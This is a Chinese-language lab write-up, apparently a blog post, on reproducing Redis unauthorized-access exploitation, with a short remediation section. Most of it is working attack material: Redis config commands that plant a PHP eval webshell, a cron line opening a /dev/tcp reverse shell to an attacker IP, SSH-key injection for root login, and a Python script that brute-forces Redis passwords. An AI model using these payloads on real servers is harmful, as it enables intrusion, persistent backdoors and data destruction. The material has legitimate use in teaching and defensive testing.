漏洞簡介
Redis默認情況下,會綁定在0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源ip訪問等,這樣將會將Redis服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。攻擊者在未授權訪問Redis的情況下,利用Redis自身的提供的config命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器。
漏洞的產生條件有以下兩點:
- redis綁定在 0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網;
- 沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務。
漏洞危害
- 攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據;
- 攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件;
- 如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器
漏洞環境搭建
靶機環境搭建
- 配置redis服務環境變量
cp -r /redis-4.0.6/src /usr/local/
//啟動redis-server和redis-cli不用每次進入安裝目錄(類似配置環境變量)
- 復制/redis-4.0.6/redis.conf到/etc/
- 配置/etc/redis.conf
# bind 127.0.0.1
protected-mode no
攻擊機環境搭建
redis常用命令
redis-cli -h host -p port -a password//登陸
ping //PONG返回響應是否連接成功
echo //在命令行打印一些內容
info //返回redis的相關信息
config get dir/* //實時傳儲收到的請求
flushall //刪除所有數據庫中的數據庫
漏洞復現
上傳webshell
config set dir /var/www/html/
config set dbfilename redis.php
set webshell "<?php phpinfo(); ?>"
//set webshell "<?php @eval($_POST['cmd']); ?>"//上傳一句話php木馬
save
nc反彈shell
- 利用cron反彈shell
redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.2.130/6666 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
- 攻擊機利用nc監聽6666端口
nc -lvp 666
利用"公私鑰"認證獲取root權限
POC
python2 redis未授權訪問.py 192.168.2.147 6379
#coding=utf-8
#可用來測試是否存在未授權或弱口令的情況:
#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授權訪問"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密碼:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)
漏洞修復
1、將redis.conf改成如下配置
bind 127.0.0.1
protected-mode yes
2、poc驗證
python2 redis未授權訪問.py 192.168.2.147 6379
參考鏈接
CSDN-Redis未授權訪問漏洞復現
CSDN-Redis未授權訪問漏洞利用總結
CSDN-Redis下載及安裝(windows版)
CSDN-10.Redis未授權訪問漏洞復現與利用
cnblogs-10.Redis未授權訪問漏洞復現與利用
聲明
嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !